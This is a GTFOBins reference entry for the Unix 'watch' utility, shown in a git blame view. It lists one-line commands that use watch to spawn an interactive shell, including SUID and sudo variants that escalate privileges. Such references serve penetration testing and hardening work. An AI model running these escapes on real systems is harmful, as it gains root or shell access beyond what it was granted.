GTFOBins.github.io/_gtfobins/watch.md

13 lines
392 B
Markdown
Raw Normal View History

2018-05-27 19:17:14 +02:00
---
functions:
execute-interactive:
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
2018-05-27 19:17:14 +02:00
suid-enabled:
2018-07-16 15:01:50 +02:00
- description: This keeps the SUID privileges only if the `-x` option is present.
code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
2018-07-04 20:26:52 +02:00
sudo-enabled:
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
2018-05-27 19:17:14 +02:00
suid-limited:
- code: ./watch 'reset; exec sh 1>&0 2>&0'
2018-05-27 19:17:14 +02:00
---